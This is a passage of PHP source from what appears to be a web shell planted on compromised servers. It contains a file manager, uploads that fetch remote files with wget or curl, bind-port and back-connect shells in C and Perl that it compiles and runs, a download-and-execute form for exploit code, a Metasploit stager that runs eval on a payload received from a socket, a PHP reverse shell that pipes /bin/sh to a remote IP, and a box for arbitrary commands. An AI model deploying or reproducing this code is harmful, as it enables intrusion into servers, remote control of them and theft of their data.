"</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?y=$pwd&edit=$file'>edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href='?y=$pwd&delete=$file'>delete</a> | <a href='?y=$pwd&dl=$file'>download</a> (<a href='?y=$pwd&dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=" . $pwd . "&view=" . $file . "'>text</a> | <a href='?y=" . $pwd . "&view=" . $file . "&type=code'>code</a> | <a href='?y=" . $pwd . "&view=" . $file . "&type=image'>image</a></td></tr></table>";
2678 if (isset($_GET['type']) && ($_GET['type'] == 'image'))
2679 {
2680 echo "<div style='text-align:center;margin:8px;'><img src='?y=" . $pwd . "&img=" . $filn . "'></div>";
2681 }
2682 elseif (isset($_GET['type']) && ($_GET['type'] == 'code'))
2683 {
2684 echo "<div class='viewfile'>";
2685 $file = wordwrap(@file_get_contents($file) , "240", "\n");
2686 @highlight_string($file);
2687 echo "</div>";
2688 }
2689 else
2690 {
2691 echo "<div class='viewfile'>";
2692 echo nl2br(htmlentities((@file_get_contents($file))));
2693 echo "</div>";
2694 }
2695 }
2696 elseif (is_dir($_GET['view']))
2697 {
2698 echo showdir($pwd, $prompt);
2699 }
2700}
2701elseif (isset($_GET['edit']) && ($_GET['edit'] != ""))
2702{
2703 if (isset($_POST['save']))
2704 {
2705 $file = $_POST['saveas'];
2706 $content = magicboom($_POST['content']);
2707 if ($filez = @fopen($file, "w"))
2708 {
2709 $time = date("d-M-Y H:i", time());
2710 if (@fwrite($filez, $content)) $msg = "file saved <span class='gaya'>@</span> " . $time;
2711 else $msg = "failed to save";
2712 @fclose($filez);
2713 }
2714 else $msg = "permission denied";
2715 }
2716 if (!isset($file)) $file = $_GET['edit'];
2717 if ($filez = @fopen($file, "r"))
2718 {
2719 $content = "";
2720 while (!feof($filez))
2721 {
2722 $content .= htmlentities(str_replace("''", "'", fgets($filez)));
2723 }
2724 @fclose($filez);
2725 } ?><form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post"> <table class="cmdbox"> <tr><td colspan="2">
2726<textarea class="output" name="content">
2727<?php echo $content; ?></textarea> <tr>
2728<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr></table></form> <?php
2729}
2730elseif (isset($_GET['x']) && ($_GET['x'] == 'upload'))
2731{
2732 if (isset($_POST['uploadcomp']))
2733 {
2734 if (is_uploaded_file($_FILES['file']['tmp_name']))
2735 {
2736 $path = magicboom($_POST['path']);
2737 $fname = $_FILES['file']['name'];
2738 $tmp_name = $_FILES['file']['tmp_name'];
2739 $pindah = $path . $fname;
2740 $stat = @move_uploaded_file($tmp_name, $pindah);
2741 if ($stat)
2742 {
2743 $msg = "file uploaded to $pindah";
2744 }
2745 else $msg = "failed to upload $fname";
2746 }
2747 else $msg = "failed to upload $fname";
2748 }
2749 elseif (isset($_POST['uploadurl']))
2750 {
2751 $pilihan = trim($_POST['pilihan']);
2752 $wurl = trim($_POST['wurl']);
2753 $path = magicboom($_POST['path']);
2754 $namafile = download($pilihan, $wurl);
2755 $pindah = $path . $namafile;
2756 if (is_file($pindah))
2757 {
2758 $msg = "file uploaded to $pindah";
2759 }
2760 else $msg = "failed to upload $namafile";
2761 } ?><br><br><center><div class="mybox"><form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post"><h1 class="k2ll33d2">Upload Files To The Server</h1><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /> <input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form><br><table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload"> <table><tr><td>link</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div></div></center>
2762<?php
2763}
2764elseif (isset($_GET['x']) && ($_GET['x'] == 'back'))
2765{
2766 if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
2767 {
2768 $port = trim($_POST['port']);
2769 $passwrd = trim($_POST['bind_pass']);
2770 tulis("bdc.c", $port_bind_bd_c);
2771 exe("gcc -o bdc bdc.c");
2772 exe("chmod 777 bdc");
2773 @unlink("bdc.c");
2774 exe("./bdc " . $port . " " . $passwrd . " &");
2775 $scan = exe("ps aux");
2776 if (eregi("./bdc $por", $scan))
2777 {
2778 $msg = "<p>Process successed</p>";
2779 }
2780 else
2781 {
2782 $msg = "<p>Process Failed</p>";
2783 }
2784 }
2785 elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
2786 {
2787 $port = trim($_POST['port']);
2788 $passwrd = trim($_POST['bind_pass']);
2789 tulis("bdp", $port_bind_bd_pl);
2790 exe("chmod 777 bdp");
2791 $p2 = which("perl");
2792 exe($p2 . " bdp " . $port . " &");
2793 $scan = exe("ps aux");
2794 if (eregi("$p2 bdp $port", $scan))
2795 {
2796 $msg = "<p>Process successed</p>";
2797 }
2798 else
2799 {
2800 $msg = "<p>Process Failed</p>";
2801 }
2802 }
2803 elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
2804 {
2805 $ip = trim($_POST['ip']);
2806 $port = trim($_POST['backport']);
2807 tulis("bcc.c", $back_connect_c);
2808 exe("gcc -o bcc bcc.c");
2809 exe("chmod 777 bcc");
2810 @unlink("bcc.c");
2811 exe("./bcc " . $ip . " " . $port . " &");
2812 $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
2813 }
2814 elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
2815 {
2816 $ip = trim($_POST['ip']);
2817 $port = trim($_POST['backport']);
2818 tulis("bcp", $back_connect);
2819 exe("chmod +x bcp");
2820 $p2 = which("perl");
2821 exe($p2 . " bcp " . $ip . " " . $port . " &");
2822 $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
2823 }
2824 elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
2825 {
2826 $pilihan = trim($_POST['pilihan']);
2827 $wurl = trim($_POST['wurl']);
2828 $namafile = download($pilihan, $wurl);
2829 if (is_file($namafile))
2830 {
2831 $msg = exe($wcmd);
2832 }
2833 else $msg = "error: file not found $namafile";
2834 } ?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&x=back"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php echo $pwd; ?>&x=back"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&x=back"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php echo $msg; ?></div><br>
2835
2836<?php
2837 error_reporting(0);
2838 function ss($t)
2839 {
2840 if (!get_magic_quotes_gpc()) return trim(urldecode($t));
2841 return trim(urldecode(stripslashes($t)));
2842 }
2843 $s_my_ip = $_SERVER['REMOTE_ADDR'];
2844 $rsport = "443";
2845 $rsportb4 = $rsport;
2846 $rstarget4 = $s_my_ip;
2847 $s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='back'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td></div><br><div class='mybox'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
2848 echo $s_result;
2849 if ($_POST['metaConnect'])
2850 {
2851 $ipaddr = $_POST['yip'];
2852 $port = $_POST['yport'];
2853 if ($ip == "" && $port == "")
2854 {
2855 echo "fill in the blanks";
2856 }
2857 else
2858 {
2859 if (false !== strpos($ipaddr, ":"))
2860 {
2861 $ipaddr = "[" . $ipaddr . "]";
2862 }
2863 if (is_callable('stream_socket_client'))
2864 {
2865 $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
2866 if (!$msgsock)
2867 {
2868 die();
2869 }
2870 $msgsock_type = 'stream';
2871 }
2872 elseif (is_callable('fsockopen'))
2873 {
2874 $msgsock = fsockopen($ipaddr, $port);
2875 if (!$msgsock)
2876 {
2877 die();
2878 }
2879 $msgsock_type = 'stream';
2880 }
2881 elseif (is_callable('socket_create'))
2882 {
2883 $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
2884 $res = socket_connect($msgsock, $ipaddr, $port);
2885 if (!$res)
2886 {
2887 die();
2888 }
2889 $msgsock_type = 'socket';
2890 }
2891 else
2892 {
2893 die();
2894 }
2895 switch ($msgsock_type)
2896 {
2897 case 'stream':
2898 $len = fread($msgsock, 4);
2899 break;
2900 case 'socket':
2901 $len = socket_read($msgsock, 4);
2902 break;
2903 }
2904 if (!$len)
2905 {
2906 die();
2907 }
2908 $a = unpack("Nlen", $len);
2909 $len = $a['len'];
2910 $buffer = '';
2911 while (strlen($buffer) < $len)
2912 {
2913 switch ($msgsock_type)
2914 {
2915 case 'stream':
2916 $buffer .= fread($msgsock, $len - strlen($buffer));
2917 break;
2918 case 'socket':
2919 $buffer .= socket_read($msgsock, $len - strlen($buffer));
2920 break;
2921 }
2922 }
2923 eval($buffer);
2924 echo "[*] Connection Terminated";
2925 die();
2926 }
2927 }
2928 if (isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
2929 if (isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
2930 if ($_POST['xback_php'])
2931 {
2932 $ip = $rstarget4;
2933 $port = $rsportb4;
2934 $chunk_size = 1337;
2935 $write_a = null;
2936 $error_a = null;
2937 $shell = '/bin/sh';
2938 $daemon = 0;
2939 $debug = 0;
2940 if (function_exists('pcntl_fork'))
2941 {
2942 $pid = pcntl_fork();
2943 if ($pid == - 1) exit(1);
2944 if ($pid) exit(0);
2945 if (posix_setsid() == - 1) exit(1);
2946 $daemon = 1;
2947 }
2948 umask(0);
2949 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
2950 if (!$sock) exit(1);
2951 $descriptorspec = array(
2952 0 => array(
2953 "pipe",
2954 "r"
2955 ) ,
2956 1 => array(
2957 "pipe",
2958 "w"
2959 ) ,
2960 2 => array(
2961 "pipe",
2962 "w"
2963 )
2964 );
2965 $process = proc_open($shell, $descriptorspec, $pipes);
2966 if (!is_resource($process)) exit(1);
2967 stream_set_blocking($pipes[0], 0);
2968 stream_set_blocking($pipes[1], 0);
2969 stream_set_blocking($pipes[2], 0);
2970 stream_set_blocking($sock, 0);
2971 while (1)
2972 {
2973 if (feof($sock)) break;
2974 if (feof($pipes[1])) break;
2975 $read_a = array(
2976 $sock,
2977 $pipes[1],
2978 $pipes[2]
2979 );
2980 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
2981 if (in_array($sock, $read_a))
2982 {
2983 $input = fread($sock, $chunk_size);
2984 fwrite($pipes[0], $input);
2985 }
2986 if (in_array($pipes[1], $read_a))
2987 {
2988 $input = fread($pipes[1], $chunk_size);
2989 fwrite($sock, $input);
2990 }
2991 if (in_array($pipes[2], $read_a))
2992 {
2993 $input = fread($pipes[2], $chunk_size);
2994 fwrite($sock, $input);
2995 }
2996 }
2997 fclose($sock);
2998 fclose($pipes[0]);
2999 fclose($pipes[1]);
3000 fclose($pipes[2]);
3001 proc_close($process);
3002 $rsres = " ";
3003 $s_result .= $rsres;
3004 }
3005}
3006elseif (isset($_GET['x']) && ($_GET['x'] == 'shell'))
3007{ ?>
3008<form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
3009<textarea class="output" readonly>
3010<?php if (isset($_POST['submitcmd']))
3011 {
3012 echo @exe($_POST['cmd']);
3013 } ?>
3014</textarea> <tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form>
3015<?php
3016}
3017else
3018{
3019 if (isset($_GET['delete']) && ($_GET['delete'] != ""))
3020 {
3021 $file = $_GET['delete'];
3022 @unlink($file);
3023 }
3024 elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != ""))
3025 {
3026 @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
3027 }
3028 elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
3029 {
3030 $path = $pwd . $_GET['mkdir'];
3031 @mkdir($path);
3032 }
3033 $buff = showdir($pwd, $prompt);
3034 echo $buff;
3035}
3036?>
3037</div></body></html>